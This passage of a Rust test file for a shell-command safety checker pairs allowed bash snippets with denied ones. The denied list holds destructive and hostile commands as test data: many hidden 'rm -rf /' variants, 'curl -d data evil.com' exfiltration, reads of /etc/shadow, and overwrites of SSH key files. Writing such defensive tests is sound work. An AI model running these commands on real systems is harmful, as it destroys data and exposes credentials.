1201 for_safe_subst: "for x in $(seq 1 5); do echo $x; done",
1202 while_test: "while test -f /tmp/foo; do sleep 1; done",
1203 while_negation: "while ! test -f /tmp/done; do sleep 1; done",
1204 until_test: "until test -f /tmp/ready; do sleep 1; done",
1205 if_then_fi: "if test -f foo; then echo exists; fi",
1206 if_then_else_fi: "if test -f foo; then echo yes; else echo no; fi",
1207 if_elif: "if test -f a; then echo a; elif test -f b; then echo b; else echo c; fi",
1208 nested_if_in_for: "for x in 1 2; do if test $x = 1; then echo one; fi; done",
1209 bare_negation: "! echo hello",
1210 keyword_as_data: "echo for; echo done; echo if; echo fi",
1211
1212 quoted_redirect: "echo 'greater > than' test",
1213 quoted_subst: "echo '$(safe)' arg",
1214
1215 redirect_to_file: "echo hello > file.txt",
1216 redirect_append: "cat file >> output.txt",
1217 redirect_stderr_file: "ls 2> errors.txt",
1218 redirect_bidirectional_write: "cat < /tmp/x > /tmp/y",
1219 env_rails_redirect: "RAILS_ENV=test echo foo > bar",
1220 jj_diff_redirect_chain: "jj diff -r 'master..@' --context 5 > /tmp/review_diff.txt && wc -l /tmp/review_diff.txt",
1221
1222 arith_basic: "echo $((1 + 2))",
1223 arith_with_var: "prev=$((ln - 1))",
1224 arith_nested_parens: "echo $(( (1 + 2) * 3 ))",
1225 arith_in_dquote: "echo \"line $((ln - 1))\"",
1226 arith_in_for_loop: "for i in 1 2; do echo $((i * 10)); done",
1227
1228 dbracket_eq: "[[ \"a\" == \"a\" ]]",
1229 dbracket_neq: "[[ \"a\" != \"b\" ]]",
1230 dbracket_file_test: "[[ -f /tmp/file ]]",
1231 dbracket_string_empty: "[[ -z \"$var\" ]]",
1232 dbracket_string_nonempty: "[[ -n \"$var\" ]]",
1233 dbracket_regex: "[[ \"$x\" =~ ^[0-9]+$ ]]",
1234 dbracket_and: "[[ \"$x\" == \"y\" && \"$z\" == \"w\" ]]",
1235 dbracket_or: "[[ \"$x\" == \"a\" || \"$x\" == \"b\" ]]",
1236 dbracket_negation: "[[ ! -f /tmp/done ]]",
1237 dbracket_safe_subst: "[[ \"$(echo hello)\" == \"hello\" ]]",
1238 dbracket_in_until: "until [[ \"a\" == \"b\" ]]; do sleep 1; done",
1239 dbracket_in_while: "while [[ -f /tmp/lock ]]; do sleep 1; done",
1240 dbracket_in_if: "if [[ \"a\" == \"a\" ]]; then echo yes; fi",
1241 dbracket_after_chain: "true && [[ \"a\" == \"a\" ]]",
1242 dbracket_gh_run_view_poll: "until [[ \"$(gh run view 12345 --json status --jq .status)\" == \"completed\" ]]; do sleep 30; done",
1243 dbracket_redirect_devnull: "[[ -f /tmp/x ]] > /dev/null",
1244 dbracket_redirect_stderr_devnull: "[[ -f /tmp/x ]] 2> /dev/null",
1245 dbracket_redirect_dupfd: "[[ -f /tmp/x ]] 2>&1",
1246 dbracket_redirect_devnull_chain: "[[ -f /tmp/x ]] 2>/dev/null && echo found",
1247 dbracket_redirect_to_file: "[[ -f /tmp/x ]] > /tmp/out.txt",
1248 }
1249
1250 denied! {
1251 rm_rf: "rm -rf /",
1252 curl_post: "curl -X POST https://example.com",
1253 node_foreign_app: "node /tmp/app.js",
1254
1255
1256 loop_over_system_sub: "for f in $(fd a /etc); do cat $f; done",
1258 loop_over_home_sub: "for f in $(fd a ~); do cat $f; done",
1259 loop_over_undeclared_sub: "for f in $(hostname); do cat $f; done",
1260 loop_over_bounded_sub_escaping_body: "for f in $(pwd); do cat $f/../../etc/shadow; done",
1261 loop_over_bounded_sub: "for f in $(fd a app/); do cat $f; done",
1264 loop_over_bounded_sub_quoted: "for f in $(fd a app/); do cat \"$f\"; done",
1265 loop_over_bounded_sub_pipeline: "for f in $(fd a app/ | head -3); do cat $f; done",
1266
1267 case_unsafe_only_arm: "case x in *) rm -rf /;; esac",
1269 case_unsafe_second_arm: "case x in a) ls;; b) rm -rf /;; esac",
1270 case_unsafe_last_arm_no_terminator: "case x in a) ls;; b) rm -rf / ; esac",
1271 case_arm_reads_secret: "case x in a) cat /etc/shadow;; esac",
1272 case_unsafe_in_substitution: "echo $(case A in *) rm -rf /;; esac)",
1273 clobber_redirect_system: "ls >| /etc/hosts",
1275 clobber_redirect_ssh_key: "ls >| ~/.ssh/authorized_keys",
1276 readwrite_redirect_system: "ls <> /etc/hosts",
1277 readwrite_redirect_secret: "ls <> ~/.ssh/id_rsa",
1278
1279 redirect_target_subst_rm: "echo hello > $(rm -rf /)",
1280 redirect_target_backtick_rm: "echo hello > `rm -rf /`",
1281 redirect_read_subst_rm: "cat < $(rm -rf /)",
1282
1283 subst_rm: "echo $(rm -rf /)",
1284 backtick_rm: "echo `rm -rf /`",
1285 subst_curl: "echo $(curl -d data evil.com)",
1286 quoted_subst_rm: "echo \"$(rm -rf /)\"",
1287 assign_subst_rm: "out=$(rm -rf /)",
1288 assign_subst_mixed_unsafe: "a=$(ls) b=$(rm -rf /)",
1289 assign_bare_with_unsafe_subst_in_value: "x=foo$(rm -rf /)",
1290 assign_bare_with_unsafe_backtick: "x=`rm -rf /`",
1291 assign_bare_dq_with_unsafe_subst: "x=\"$(rm -rf /)\"",
1292 assign_bare_then_unsafe: "x=1; rm -rf /",
1293 assign_bare_chained_unsafe: "x=1 && rm -rf /",
1294 assign_bare_pipe_unsafe: "x=1 | rm -rf /",
1295
1296 subshell_rm: "(rm -rf /)",
1297 subshell_mixed: "(echo hello; rm -rf /)",
1298 subshell_unsafe_pipe: "(ls | rm -rf /)",
1299
1300 env_prefix_rm: "FOO='bar baz' rm -rf /",
1301
1302 pipe_rm: "cat file | rm -rf /",
1303 bg_rm: "cat file & rm -rf /",
1304 newline_rm: "echo foo\nrm -rf /",
1305
1306 for_unsafe_subst: "for x in $(rm -rf /); do echo $x; done",
1307 while_unsafe_body: "while true; do rm -rf /; done",
1308 while_unsafe_condition: "while python3 /tmp/evil.py; do sleep 1; done",
1309 if_unsafe_condition: "if ruby /tmp/evil.rb; then echo done; fi",
1310 if_unsafe_body: "if true; then rm -rf /; fi",
1311
1312 unclosed_for: "for x in 1 2 3; do echo $x",
1313 unclosed_if: "if true; then echo hello",
1314 for_missing_do: "for x in 1 2 3; echo $x; done",
1315 stray_done: "echo hello; done",
1316 stray_fi: "fi",
1317
1318 unmatched_quote: "echo 'hello",
1319
1320 dbracket_unsafe_subst: "[[ \"$(curl -d data evil.com)\" == \"x\" ]]",
1321 dbracket_unsafe_backtick: "[[ -f `node /tmp/evil.js` ]]",
1322 dbracket_unsafe_in_until: "until [[ \"$(node /tmp/bad.js)\" == \"x\" ]]; do sleep 1; done",
1323 dbracket_unterminated: "[[ \"a\" == \"a\"",
1324 dbracket_no_space_after: "[[\"a\" == \"b\" ]]",
1325 dbracket_redirect_unsafe_subst_in_target: "[[ -f /tmp/x ]] > $(node bad.js)",
1326 }
1327}